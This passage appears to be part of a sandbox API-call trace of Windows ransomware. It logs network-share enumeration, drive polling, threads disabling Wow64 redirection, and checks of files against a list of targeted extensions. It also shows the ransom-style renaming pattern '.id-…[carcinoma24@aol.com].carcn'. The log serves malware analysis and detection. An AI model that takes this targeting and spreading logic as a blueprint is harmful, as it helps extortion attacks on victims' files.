lpString2="NlaSvc") Thread: id = 92 os_tid = 0xf70 [0291.067] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0xffffffff) returned 0x80 [0296.471] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73d8e0 | out: hHeap=0x700000) returned 1 Thread: id = 93 os_tid = 0xf74 [0291.067] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x797a10 [0291.067] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x797a10, Size=0x20) returned 0x737fd8 [0291.067] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x737fd8, Size=0x40) returned 0x7126d8 [0291.067] GetLogicalDrives () returned 0x4 [0291.067] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x76fed8 [0291.068] GetComputerNameW (in: lpBuffer=0x76fedc, nSize=0x273ff64 | out: lpBuffer="NQDPDE", nSize=0x273ff64) returned 1 [0291.068] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1000) returned 0x7589b0 [0291.068] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x273ff34 | out: lphEnum=0x273ff34*=0x793600) returned 0x0 [0291.069] WNetEnumResourceW (in: hEnum=0x793600, lpcCount=0x273ff30, lpBuffer=0x7589b0, lpBufferSize=0x273ff38 | out: lpcCount=0x273ff30, lpBuffer=0x7589b0, lpBufferSize=0x273ff38) returned 0x103 [0291.070] WNetCloseEnum (hEnum=0x793600) returned 0x0 [0291.070] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x273ff34 | out: lphEnum=0x273ff34*=0x715a28) returned 0x0 [0291.086] WNetEnumResourceW (in: hEnum=0x715a28, lpcCount=0x273ff30, lpBuffer=0x7589b0, lpBufferSize=0x273ff38 | out: lpcCount=0x273ff30, lpBuffer=0x7589b0, lpBufferSize=0x273ff38) returned 0x0 [0291.086] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1000) returned 0x79db78 [0291.087] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7589b0, lphEnum=0x273ff08 | out: lphEnum=0x273ff08*=0x793820) returned 0x0 [0291.089] WNetEnumResourceW (in: hEnum=0x793820, lpcCount=0x273ff04, lpBuffer=0x79db78, lpBufferSize=0x273ff0c | out: lpcCount=0x273ff04, lpBuffer=0x79db78, lpBufferSize=0x273ff0c) returned 0x103 [0291.089] WNetCloseEnum (hEnum=0x793820) returned 0x0 [0291.089] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1000) returned 0x799b58 [0291.089] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7589d0, lphEnum=0x273ff08 | out: lphEnum=0x273ff08*=0x0) returned 0x4b8 [0306.342] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1000) returned 0x44248c8 [0306.342] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7589f0, lphEnum=0x273ff08 | out: lphEnum=0x273ff08*=0x0) returned 0x4c6 [0306.343] WNetEnumResourceW (in: hEnum=0x715a28, lpcCount=0x273ff30, lpBuffer=0x7589b0, lpBufferSize=0x273ff38 | out: lpcCount=0x273ff30, lpBuffer=0x7589b0, lpBufferSize=0x273ff38) returned 0x103 [0306.343] WNetCloseEnum (hEnum=0x715a28) returned 0x0 [0306.343] GetLogicalDrives () returned 0x4 [0306.343] Sleep (dwMilliseconds=0x64) [0307.016] GetLogicalDrives () returned 0x4 [0307.016] Sleep (dwMilliseconds=0x64) [0307.490] GetLogicalDrives () returned 0x4 [0307.490] Sleep (dwMilliseconds=0x64) [0307.616] GetLogicalDrives () returned 0x4 [0307.616] Sleep (dwMilliseconds=0x64) [0307.824] GetLogicalDrives () returned 0x4 [0307.824] Sleep (dwMilliseconds=0x64) [0307.963] GetLogicalDrives () returned 0x4 [0307.963] Sleep (dwMilliseconds=0x64) [0308.071] GetLogicalDrives () returned 0x4 [0308.071] Sleep (dwMilliseconds=0x64) [0308.182] GetLogicalDrives () returned 0x4 [0308.182] Sleep (dwMilliseconds=0x64) [0308.900] GetLogicalDrives () returned 0x4 [0308.901] Sleep (dwMilliseconds=0x64) [0309.084] GetLogicalDrives () returned 0x4 [0309.084] Sleep (dwMilliseconds=0x64) [0309.522] GetLogicalDrives () returned 0x4 [0309.522] Sleep (dwMilliseconds=0x64) [0310.486] GetLogicalDrives () returned 0x4 [0310.486] Sleep (dwMilliseconds=0x64) [0310.973] GetLogicalDrives () returned 0x4 [0310.973] Sleep (dwMilliseconds=0x64) [0311.482] GetLogicalDrives () returned 0x4 [0311.482] Sleep (dwMilliseconds=0x64) [0311.992] GetLogicalDrives () returned 0x4 [0311.992] Sleep (dwMilliseconds=0x64) Thread: id = 94 os_tid = 0xf78 [0291.096] GetTickCount () returned 0x18d18 [0291.096] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x24) returned 0x7135c8 [0291.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7135c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0291.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7135c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0291.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7135c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4 [0291.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7135c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0291.099] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796e28 [0291.099] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796e28, Size=0x20) returned 0x75a378 [0291.099] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796b70 [0291.099] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796b70, Size=0x20) returned 0x75a1c0 [0291.099] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.099] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.100] Wow64DisableWow64FsRedirection (in: OldValue=0x283ff7c | out: OldValue=0x283ff7c*=0x0) returned 1 [0291.100] lstrlenW (lpString="kernel32.dll") returned 12 [0291.100] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a378 | out: hHeap=0x700000) returned 1 [0291.100] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.100] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a1c0 | out: hHeap=0x700000) returned 1 [0291.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x73f890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0291.100] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0291.348] GetTickCount () returned 0x18e21 [0291.348] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0291.739] GetTickCount () returned 0x18fa8 [0291.739] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0292.130] GetTickCount () returned 0x1912f [0292.130] GetTickCount () returned 0x1912f [0292.130] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0292.655] GetTickCount () returned 0x19332 [0292.655] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0292.972] GetTickCount () returned 0x1947a [0292.972] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0293.475] GetTickCount () returned 0x1965f [0293.475] GetTickCount () returned 0x1965f [0293.475] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0294.114] GetTickCount () returned 0x198df [0294.114] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0294.833] GetTickCount () returned 0x19bae [0294.833] GetTickCount () returned 0x19bae [0294.833] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0295.479] GetTickCount () returned 0x19e3e [0295.479] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0296.044] GetTickCount () returned 0x1a071 [0296.044] GetTickCount () returned 0x1a071 [0296.044] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0296.517] GetTickCount () returned 0x1a246 [0296.517] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0297.274] GetTickCount () returned 0x1a543 [0297.274] GetTickCount () returned 0x1a543 [0297.274] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0298.059] GetTickCount () returned 0x1a851 [0298.059] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0298.789] GetTickCount () returned 0x1ab2f [0298.789] GetTickCount () returned 0x1ab2f [0298.789] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0299.433] GetTickCount () returned 0x1adb0 [0299.433] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0300.070] GetTickCount () returned 0x1b030 [0300.070] GetTickCount () returned 0x1b030 [0300.070] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0300.820] GetTickCount () returned 0x1b31e [0300.820] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0301.460] GetTickCount () returned 0x1b59f [0301.460] GetTickCount () returned 0x1b59f [0301.460] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0301.882] GetTickCount () returned 0x1b735 [0301.882] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0302.220] GetTickCount () returned 0x1b88d [0302.220] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0302.454] GetTickCount () returned 0x1b977 [0302.454] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0302.910] GetTickCount () returned 0x1bb4c [0302.910] GetTickCount () returned 0x1bb4c [0302.910] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0303.454] GetTickCount () returned 0x1bd5f [0303.454] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0303.883] GetTickCount () returned 0x1bf15 [0303.883] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0304.729] GetTickCount () returned 0x1c260 [0304.729] GetTickCount () returned 0x1c260 [0304.729] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0305.369] GetTickCount () returned 0x1c4e1 [0305.369] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0305.828] GetTickCount () returned 0x1c6a6 [0305.828] GetTickCount () returned 0x1c6a6 [0305.828] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0306.292] GetTickCount () returned 0x1c87b [0306.292] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0306.786] GetTickCount () returned 0x1ca5f [0306.786] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0307.442] GetTickCount () returned 0x1ccf0 [0307.442] GetTickCount () returned 0x1ccf0 [0307.442] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0307.614] GetTickCount () returned 0x1cd9b [0307.614] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0307.773] GetTickCount () returned 0x1ce47 [0307.823] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0307.963] GetTickCount () returned 0x1cf03 [0307.963] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0308.071] GetTickCount () returned 0x1cf70 [0308.071] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0308.182] GetTickCount () returned 0x1cfde [0308.182] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0308.901] GetTickCount () returned 0x1d2ac [0308.901] GetTickCount () returned 0x1d2ac [0308.901] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0309.085] GetTickCount () returned 0x1d368 [0309.085] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0309.523] GetTickCount () returned 0x1d51d [0309.523] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0310.486] GetTickCount () returned 0x1d8d6 [0310.486] GetTickCount () returned 0x1d8d6 [0310.486] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0310.972] GetTickCount () returned 0x1dabb [0310.972] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0311.483] GetTickCount () returned 0x1dcbe [0311.483] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0311.992] GetTickCount () returned 0x1dec2 [0311.992] GetTickCount () returned 0x1dec2 [0311.992] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) Thread: id = 95 os_tid = 0xf7c [0291.101] GetTickCount () returned 0x18d27 [0291.101] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x24) returned 0x713268 [0291.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x713268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0291.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x713268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0291.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x713268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0291.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x713268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0291.103] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796e28 [0291.103] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796e28, Size=0x20) returned 0x75a378 [0291.103] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796b70 [0291.103] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796b70, Size=0x20) returned 0x75a1c0 [0291.103] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.103] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.103] Wow64DisableWow64FsRedirection (in: OldValue=0x297ff7c | out: OldValue=0x297ff7c*=0x0) returned 1 [0291.103] lstrlenW (lpString="kernel32.dll") returned 12 [0291.104] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a378 | out: hHeap=0x700000) returned 1 [0291.104] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.104] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a1c0 | out: hHeap=0x700000) returned 1 [0291.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x75feb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0291.104] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0291.348] GetTickCount () returned 0x18e21 [0291.348] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0291.739] GetTickCount () returned 0x18fa8 [0291.739] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0292.130] GetTickCount () returned 0x1912f [0292.130] GetTickCount () returned 0x1912f [0292.130] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0292.655] GetTickCount () returned 0x19332 [0292.655] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0292.972] GetTickCount () returned 0x1947a [0292.972] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0293.475] GetTickCount () returned 0x1965f [0293.475] GetTickCount () returned 0x1965f [0293.475] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0294.114] GetTickCount () returned 0x198df [0294.114] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0294.832] GetTickCount () returned 0x19bae [0294.832] GetTickCount () returned 0x19bae [0294.832] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0295.479] GetTickCount () returned 0x19e3e [0295.479] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0296.043] GetTickCount () returned 0x1a071 [0296.043] GetTickCount () returned 0x1a071 [0296.043] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0296.517] GetTickCount () returned 0x1a246 [0296.517] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0297.274] GetTickCount () returned 0x1a543 [0297.274] GetTickCount () returned 0x1a543 [0297.274] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0298.059] GetTickCount () returned 0x1a851 [0298.059] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0298.789] GetTickCount () returned 0x1ab2f [0298.789] GetTickCount () returned 0x1ab2f [0298.789] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0299.433] GetTickCount () returned 0x1adb0 [0299.433] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0300.070] GetTickCount () returned 0x1b030 [0300.070] GetTickCount () returned 0x1b030 [0300.070] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0300.820] GetTickCount () returned 0x1b31e [0300.820] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0301.460] GetTickCount () returned 0x1b59f [0301.460] GetTickCount () returned 0x1b59f [0301.461] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0301.881] GetTickCount () returned 0x1b735 [0301.881] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0302.219] GetTickCount () returned 0x1b88d [0302.220] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0302.454] GetTickCount () returned 0x1b977 [0302.454] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0302.911] GetTickCount () returned 0x1bb4c [0302.911] GetTickCount () returned 0x1bb4c [0302.911] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0303.454] GetTickCount () returned 0x1bd5f [0303.454] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0303.883] GetTickCount () returned 0x1bf15 [0303.883] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0304.729] GetTickCount () returned 0x1c260 [0304.729] GetTickCount () returned 0x1c260 [0304.729] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0305.369] GetTickCount () returned 0x1c4e1 [0305.369] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0305.819] GetTickCount () returned 0x1c697 [0305.819] GetTickCount () returned 0x1c697 [0305.819] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0306.292] GetTickCount () returned 0x1c87b [0306.292] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0306.786] GetTickCount () returned 0x1ca5f [0306.786] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0307.442] GetTickCount () returned 0x1ccf0 [0307.442] GetTickCount () returned 0x1ccf0 [0307.442] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0307.614] GetTickCount () returned 0x1cd9b [0307.614] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0307.823] GetTickCount () returned 0x1ce76 [0307.823] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0307.963] GetTickCount () returned 0x1cf03 [0307.963] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0308.071] GetTickCount () returned 0x1cf70 [0308.071] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0308.182] GetTickCount () returned 0x1cfde [0308.182] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0308.901] GetTickCount () returned 0x1d2ac [0308.901] GetTickCount () returned 0x1d2ac [0308.901] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0309.085] GetTickCount () returned 0x1d368 [0309.085] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0309.523] GetTickCount () returned 0x1d51d [0309.523] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0310.486] GetTickCount () returned 0x1d8d6 [0310.486] GetTickCount () returned 0x1d8d6 [0310.486] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0310.972] GetTickCount () returned 0x1dabb [0310.972] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0311.483] GetTickCount () returned 0x1dcbe [0311.483] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0311.992] GetTickCount () returned 0x1dec2 [0311.992] GetTickCount () returned 0x1dec2 [0311.992] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) Thread: id = 97 os_tid = 0xf88 [0291.236] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x7a7b28 [0291.236] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x7b7b30 [0291.237] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796ba0 [0291.237] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x795f88 [0291.237] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796c18 [0291.237] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x3a0e020 [0291.240] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796cd8 [0291.240] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796cd8, Size=0x20) returned 0x75a350 [0291.240] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796b58 [0291.240] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796b58, Size=0x20) returned 0x75a378 [0291.240] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.240] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.240] Wow64DisableWow64FsRedirection (in: OldValue=0x2ebff50 | out: OldValue=0x2ebff50*=0x0) returned 1 [0291.240] lstrlenW (lpString="kernel32.dll") returned 12 [0291.240] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a350 | out: hHeap=0x700000) returned 1 [0291.240] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.241] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a378 | out: hHeap=0x700000) returned 1 [0291.241] Sleep (dwMilliseconds=0x64) [0291.358] Sleep (dwMilliseconds=0x64) [0291.743] lstrcmpiW (lpString1=".p7b", lpString2=".carcn") returned 1 [0291.743] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0291.743] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0291.743] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=4662) returned 1 [0291.743] CloseHandle (hObject=0x33c) returned 1 [0291.743] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0291.743] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.744] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.744] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.744] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.744] lstrlenW (lpString=".doc") returned 4 [0291.744] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0291.744] lstrlenW (lpString=".docx") returned 5 [0291.744] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0291.744] lstrlenW (lpString=".pdf") returned 4 [0291.744] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0291.744] lstrlenW (lpString=".xls") returned 4 [0291.744] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0291.744] lstrlenW (lpString=".xlsx") returned 5 [0291.744] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0291.744] lstrlenW (lpString=".ppt") returned 4 [0291.744] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0291.744] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.744] lstrlenW (lpString=".zip") returned 4 [0291.744] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0291.744] lstrlenW (lpString=".rar") returned 4 [0291.744] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0291.744] lstrlenW (lpString=".bz2") returned 4 [0291.744] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0291.744] lstrlenW (lpString=".7z") returned 3 [0291.744] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0291.744] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.745] lstrlenW (lpString=".dbf") returned 4 [0291.745] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0291.745] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.745] lstrlenW (lpString=".1cd") returned 4 [0291.745] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0291.745] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.745] lstrlenW (lpString=".jpg") returned 4 [0291.745] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0291.745] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.745] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.745] lstrlenW (lpString=".doc") returned 4 [0291.745] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0291.745] lstrlenW (lpString=".docx") returned 5 [0291.745] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0291.745] lstrlenW (lpString=".pdf") returned 4 [0291.745] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0291.745] lstrlenW (lpString=".xls") returned 4 [0291.745] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0291.745] lstrlenW (lpString=".xlsx") returned 5 [0291.745] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0291.745] lstrlenW (lpString=".ppt") returned 4 [0291.745] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0291.745] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.745] lstrlenW (lpString=".zip") returned 4 